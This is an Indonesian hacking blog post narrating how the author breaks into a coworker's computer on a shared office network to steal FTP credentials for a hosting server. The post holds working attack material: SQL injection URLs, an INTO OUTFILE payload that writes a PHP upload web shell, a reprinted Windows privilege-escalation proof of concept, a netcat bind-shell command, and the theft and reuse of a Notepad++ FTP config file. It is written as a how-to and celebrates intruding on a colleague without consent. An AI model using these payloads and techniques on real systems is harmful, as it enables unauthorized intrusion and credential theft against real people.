Sunday, 12 June 2016

Cara jitu hack codeigniter dengan mudah

Tags

Suatu ketika, teman saya mengerjakan proyek bersama. Mereka menggunakan Code Igniter sebagai core engine system nya.

Ketika di kelas, ngobrol galor ngidul, dan membahas proyek tersebut. Ketika membahas "kenapa memilih CI", teman saya bilang karena ci adalah framework, mudh di kerjakan, cepat, dan team-friendly.
Lalu saya menambahkan, iya sih. Selain itu "CI" juga relative lebih aman dari serangan hack. Saya juga mengatakan, selama ini saya belum pernah berhasil menembus keamanan CI.
Kemudian, teman saya menambahkan "iya, kata mas xxx, ci ama. Coba suruh [menyebut namaq] untuk ngehack, pasti gak bisa"


Nah, dari situ, saya merasa tertantang. Langsung tak jawab, "oke, klo bisa, saya di traktir ya"

So, berawal dari situ, saya mulai mencari cara menaklukan system nya yang menggunakan code igniter.

Memutar otak, saya sendiri belum pernah menembus keamanan ci. Jadi, gm nih menembusnya.

Oke, putar otak. Banyak jalan menuju roma. Banyak pula jalan untuk menaklukkannya. Satu jalan tidak bisa, jalan lain, pasti ada yang bisa.

Saya mulai memetakan bagian bagian system tersebut. Sebuah system, tentu saja terdiri dari banyak bagian. Ada program, hosting, cms, framework, user, network, developer, programmer.

Mulai menyerang salah satunya -> hosting.
Bisa jadi kan system nya memakai shared hosting, sehingga saya bisa saja masuk ke salah satunya lalu melompat ke system sasaran. Setelah lookup domain, ternyata hanya ada 1 domain saja. Dengan arti, memakai ds/vps.

Dari hasil ngobrol selama ini, saya ketahui bahwa team dia menggunakan ftp untuk mengupdate program secara online dimanapun. Teman saya menggunakan editor favoritnya, notepad++. Di software tsb, terdapat plugin NpFTP, yaitu ftp integrated pada notepad++.

Menilik sisi lain, dn yang terdekat, adalah programmer, yaitu teman saya sendiri. Hehehe **sory bro**

Bisa saya simpulkan, teman saya menggunakan NpFTp untuk mengakses dan update program. Jadi, saya bisa saja mencuri ftp tersebut dari computer tema saya untuk mendapatkan akses ke hosting sasaran.

Sebagai catatan, karena proyek yg menggunakan CI sudah dinyatakan *selesai*, jd saya akan mecari sasaran yg lain, namun dengan teknik yg sama.

Let's go.

Teman saya ini bekerja 1 kantor dengan saya. Sehingga di kantor, sy tentunya berada 1 jaringan dengan dia. Saya bisa menyerang dia disana.

saya bisa saja mendatangi komputernya, denga alibi pinjam computer, lalu memasukkan backdoor secara langsung, atau keylogger, atau Trojan, atau semacamnya lah. Namun cara ini bukan "hacking" banget. Tantangan yg saya terima adalah "ngehack", jadi harus saya lakukan dengan cara "hacking". Jadi saya harus melakukannya tanpa menyentuh komputernya sedikitpun.
Saya mulai dengan mencari tau ip nya. Scanning ip local.





Percaya atau tidak, saya membuka semua ip yang alive, demi mendapatkan ip sasaran. Setiap ip, saya buka network sharenya.



Dan saya mendapati ip 172.17.12.139 adalah ip nya. Darimana saya tau? Dari http local nya dia. Dia pernah membicarakan mengenai career-center. Di ip ini terdapat aplikasi ini, saya yakin sekali ini adalah komputernya.



Kemudian, scaning. Mungki ada sesuatu yang berguna yg saya temukan.


Nmap –T4 –A 172.17.12.139

Starting Nmap 6.40 ( http://nmap.org ) at 2014-01-16 15:24 SE Asia Standard Time
NSE: Loaded 110 scripts for scanning.
NSE: Script Pre-scanning.
Initiating ARP Ping Scan at 15:24
Scanning 172.17.12.139 [1 port]
Completed ARP Ping Scan at 15:24, 0.31s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 15:24
Completed Parallel DNS resolution of 1 host. at 15:24, 16.50s elapsed
Initiating SYN Stealth Scan at 15:24
Scanning 172.17.12.139 [1000 ports]
Discovered open port 443/tcp on 172.17.12.139
Discovered open port 53/tcp on 172.17.12.139
Discovered open port 8080/tcp on 172.17.12.139
Discovered open port 80/tcp on 172.17.12.139
Discovered open port 3128/tcp on 172.17.12.139
Completed SYN Stealth Scan at 15:24, 4.83s elapsed (1000 total ports)
Initiating Service scan at 15:24
Scanning 5 services on 172.17.12.139
Completed Service scan at 15:24, 12.38s elapsed (5 services on 1 host)
Initiating OS detection (try #1) against 172.17.12.139
Retrying OS detection (try #2) against 172.17.12.139
NSE: Script scanning 172.17.12.139.
Initiating NSE at 15:24
Completed NSE at 15:25, 18.73s elapsed
Nmap scan report for 172.17.12.139
Host is up (0.00014s latency).
Not shown: 995 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Apache httpd 2.2.21 ((Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1)
|_http-favicon: Unknown favicon MD5: 3BD2EC61324AD4D27CB7B0F484CD4289
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Index of /
443/tcp open ssl/http Apache httpd 2.2.21 ((Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1)
|_http-favicon: Unknown favicon MD5: 3BD2EC61324AD4D27CB7B0F484CD4289
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
|_See http://nmap.org/nsedoc/scripts/http-methods.html
|_http-title: Index of /
| ssl-cert: Subject: commonName=localhost
| Issuer: commonName=localhost
| Public Key type: rsa
| Public Key bits: 1024
| Not valid before: 2009-11-10T23:48:47+00:00
| Not valid after: 2019-11-08T23:48:47+00:00
| MD5: a0a4 4cc9 9e84 b26f 9e63 9f9e d229 dee0
|_SHA-1: b023 8c54 7a90 5bfa 119c 4e8b acca eacf 3649 1ff6
|_ssl-date: 2014-01-16T08:24:52+00:00; 0s from local time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_IDEA_128_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_CBC_128_CBC_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
3128/tcp open squid-http?
|_http-open-proxy: ERROR: Script execution failed (use -d to debug)
8080/tcp open http-proxy?
|_http-open-proxy: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:42:BE:02:9D (Routerboard.com)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 (94%), Linux 2.6.19 - 2.6.36 (92%), Linux 2.6.31 - 2.6.35 (92%), Check Point VPN-1 UTM appliance (91%), Infoblox Trinzic network control appliance (90%), Linux 2.6.32 - 2.6.35 (90%), Android 3 (Linux 2.6.36) (89%), Linux 2.6.32 - 3.9 (89%), HP P2000 G3 NAS device (88%), Linux 2.6.17 - 2.6.36 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.14 ms 172.17.12.139

NSE: Script Post-scanning.
Read data files from: C:\Program Files\Nmap
OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.65 seconds
Raw packets sent: 2049 (93.464KB) | Rcvd: 54 (5.948KB)



Hhmmm tidak ada port yg menarik.



Mencoba keberuntungan dengan mengakses phpmyadmin. Mgkn tidak berpassword. Ato password mudah di tebak. Atau mungkin bruteforce phpmyadmin



Access forbidden!
________________________________________
New XAMPP security concept:
Access to the requested object is only available from the local network.
This setting can be configured in the file "httpd-xampp.conf".
________________________________________
If you think this is a server error, please contact the webmaster.
Error 403
172.17.12.139
01/16/14 15:27:31
Apache/2.2.21 (Win32) mod_ssl/2.2.21 OpenSSL/1.0.0e PHP/5.3.8 mod_perl/2.0.4 Perl/v5.10.1


Ups!!! Hahahaha. Ini adalah salah satu bentuk keamanan xampp, dimana akses ke phpmyadmin dibatasi hanya dari localhost saja.

Berbekal pengetahuan itu, saya mencoba melakukan local proxy reverse. Dengan menggunakan ip sasaran sebagai proxy.



Lalu membuka localhost atau 127.0.0.1





Oopssss tetep forbidden. Kenapa ya? Whatever lah. Cari jalan lain.
Mulai browsing-browsing localhost kompi nya. Mencoba mencari sesuatu "upload" atau exploit-exploit standard.
Dan mata saya tertuju pada aplikasi ini:




Ada fasilitas edit disana. Dan tentunya file upload.




Browse backdoor. Klik save. Dan jrenggg… backdoor saya di rename jadi .jpg. hahahaha. Sial deh.

Sialnya, hanya ini satu-satunya file upload yg terbuka. Oke, cari lubang lain.


Saya mencoba celah sql injection disana. Dan saya mencapatkannya disini:


http://172.17.12.139/sia-praktikum/site.php?pg=cust&act=edit&edit=1'

dari error yang terjadi,


Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in D:\MYWORK\xampp\htdocs\sia-praktikum\cust_edit.php on line 82


saya mengetahui bahwa dokumen root ada di disini:
D:\MYWORK\xampp\htdocs


setelah mendapatkan jumlah kolom (yaitu 6 kolom) saya mencoba kolom mana sih yang di tampilkan.


http://172.17.12.139/sia-praktikum/site.php?pg=cust&act=edit&edit=0'+union+select+1,2,3,4,5,6--+


dan saya mendapatkan kolom nomor 5 yang di tampilkan.

Oke, dari sini, saya mencoba melakukan backdooring over sql injection. Melakukan loadfile configurasi database sepertinya tidak berguna, mengingat akses phpmyadmin tidak bisa.

Saya mencoba create file.

Pertama-tama, test dulu.


http://172.17.12.139/sia-praktikum/site.php?pg=cust&act=edit&edit=0'+union+select+1,2,3,4,'abcde' ,6+into+outfile+'D:/MYWORK/xampp/htdocs/sia-praktikum/cust_edit.txt'--+

ups! Error


Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in D:\MYWORK\xampp\htdocs\sia-praktikum\cust_edit.php on line 82


Dari situ, sudah ilfil jangan2 misi gagal. Saya coba iseng membuka file nya:


http://172.17.12.139/sia-praktikum/cust_edit.txt



dan ternyata saya mendapatkan ini:



Wowww ternyata berhasil create file.

Oke. Sekarang waktunya memuat backdoor. Simpel backdoor saja, hanya uploader.


http://172.17.12.139/sia-praktikum/site.php?pg=cust&act=edit&edit=0'+union+select+1,2,3,4,'<form method=post enctype=multipart/form-data><input type=file name=f><input type=submit /><?php if($_FILES[f][tmp_name]){move_uploaded_file($_FILES[f][tmp_name],$_FILES[f][name]);} ?>',6+into+outfile+'D:/MYWORK/xampp/htdocs/sig-universitas/images/z.php'--+


dan error seperti sebelumya


Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in D:\MYWORK\xampp\htdocs\sia-praktikum\cust_edit.php on line 82


Error? No problem. Lgsg buka backdoornya.


http://172.17.12.139/sig-universitas/images/z.php




Kemudian, upload backdoor sesungguhnya.





Berdasarkan hasil googling, NpFTP meletakkan konfigurasi user dan password di direktori
C:\Users\[NAMA USER]\AppData\Roaming\Notepad++\plugins\config\NppFTP\NppFTP.xml


Sehingga saya cukup mencuri file tersebut, dan misi selesai.


Browse ke direktori c:/users. Terdapat terdapat usernamenya dia "xxx". Coba masuk, namun permission denied. Saya perhatikan, user id yg tertera di shell saya, adalah "john".

Berarti, saya harus melakukan takeover administrator.

Hasil googling "win7 local privileges escalation", saya mendapatkan exploit ini:


http://downloads.securityfocus.com/vulnerabilities/exploits/57135.c

#include <windows.h>
#include <stdio.h>

int main()
{
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};
PCHAR payload[] = {
"echo \".___ _____ ______________ ______________ \"> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"| | / \\ \\__ ___/ | \\_ _____/ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"| |/ \\ / \\ | | / ~ \\ __)_ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"| / Y \\ | | \\ Y / \\ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"|___\\____|__ / |____| \\___|_ /_______ / \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" \\/ \\/ \\/ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" _______ .___ ________ ________ _____ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" \\ \\ | |/ _____/ / _____/ / _ \\ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" / | \\| / \\ ___/ \\ ___ / /_\\ \\ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"/ | \\ \\ \\_\\ \\ \\_\\ \\/ | \\ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \"\\____|__ /___|\\______ /\\______ /\\____|__ / \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"echo \" \\/ \\/ \\/ \\/ \">> %USERPROFILE%\\Desktop\\TROLOLOL",
"exit",
NULL
};

printf("1] Spawning a low IL cmd.exe (from a low IL process)..Rdy ? Press to continue\n");
getchar();

si.cb = sizeof(si);
CreateProcess(
NULL,
"cmd.exe",
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);

Sleep(1000);

// Yeah, you can "bruteforce" the index of the window..
printf("2] Use Win+Shift+7 to ask explorer.exe to spawn a cmd.exe MI..");
keybd_event(VK_LWIN, 0x5B, 0, 0);
keybd_event(VK_LSHIFT, 0xAA, 0, 0);
keybd_event(0x37, 0x87, 0, 0);

keybd_event(VK_LWIN, 0x5B, KEYEVENTF_KEYUP, 0);
keybd_event(VK_LSHIFT, 0xAA, KEYEVENTF_KEYUP, 0);
keybd_event(0x37, 0x87, KEYEVENTF_KEYUP, 0);

Sleep(1000);
printf("3] Killing now the useless low IL cmd.exe..\n");

TerminateProcess(
pi.hProcess,
1337
);

printf("4] Now driving the medium IL cmd.exe with SendMessage and HWND_BROADCAST (WM_CHAR)\n");
printf(" \"Drive the command prompt [..] to make it look like a scene from a Hollywood movie.\" <- That's what we're going to do!\n");

for(unsigned int i = 0; payload[i] != NULL; ++i)
{
for(unsigned int j = 0; j < strlen(payload[i]); ++j)
{
// Yeah, that's the fun part to watch ;D
Sleep(10);
SendMessage(
HWND_BROADCAST,
WM_CHAR,
payload[i][j],
0
);
}

SendMessage(
HWND_BROADCAST,
WM_CHAR,
VK_RETURN,
0
);
}

return EXIT_SUCCESS;
}


Mari kita coba.

Pertama-tama, upload dulu nc.exe ke computer korban. Kemudian jalankan listening.


nc -vlp 9090 -e cmd.exe –d


saya menggunakan opsi –d, untuk mengakses menggunakan telnet.

Setelah command sayajalankan, saya membuka cmd.exe di computer saya, kemudian membuka telnet ke computer korban dengan port 9090 (sesuai listening). Dan syg mendapatkan tampilan telnet dengan command prompt dari computer korban.




Setelah menjalankan exploit tsb, saya tetap gagal.
Sumpah ane puyeng, gmn nih nembusnya. Udah googling-googling, tetep gak tembus.

Akhirya, setelah ngopi bentar, saya berfikir, kalau teman saya login di windows (menggunakan komputernya), dan aktif usr pada shell adalah john, berarti dia login sebagai user john. Aha!! Mari kita coba masuk dan lihat isinya.


C:\ Users\ john\ AppData\ Roaming\ Notepad++\ plugins\ config\ NppFTP\



<?xml version="1.0" encoding="UTF-8" ?>
<NppFTP defaultCache="%CONFIGDIR%\Cache\%USERNAME%@%HOSTNAME%" outputShown="0" windowRatio="0.776846" clearCache="0" clearCachePermanent="0">
<Profiles>
<Profile name="survey" hostname="202.154.57.214" port="21" username="adiv2" password="78DF6964B5" askPassword="0" timeout="30" securityMode="0" transferMode="0" connectionMode="0" dataPortMin="10000" dataPortMax="32000" listParams="" initialDir="" keyFile="" passphrase="" useAgent="0" acceptedMethods="1">
<Cache />
<FileTypes asciiTypes="" binaryTypes="" />
</Profile>
</Profiles>
</NppFTP>


**password dan hostname sudah saya rubah demi keamanan privasi.

Dari bentuk password nya: 78DF6964B5
Bisa jadi password itu adalah bentuk hexa.
Saya coba decrypt 2 digit pertama, mendapatkan string. Kemudian decrypt semua, saya mendapatkan bentuk seperti ini: xßidµ

Apakah benar itu passwordnya? Saya sudah coba konek ke ftp, namun gagal.

Hhhmmm… berfikir lain. Jika saya menggunakan notepad++ dan memasukkan file config trsebut, tentunya saya bisa login juga tanpa decrypsi password.

Oke. Saya masukkan file NppFTP.xml ke direktori saya:


C:\Users\ArRay\AppData\Roaming\Notepad++\plugins\config\NppFTP


Buka notepad++, buka ftp plugin, dan klik koneksi: dan saya mendapatkan tampilan seperti berikut:




Klik 'survey', dan…



Jrengggggggggggggggg….. waktunya minta traktir… :v

Mission completed!

Trik seperti ini, hanya sebagian kecil dari banyak trik untuk mendapatkan akses ke suatu sasaran, bahkan tanpa menyentuh sasaran secara langsung.

sumber: http://explorecrew.org/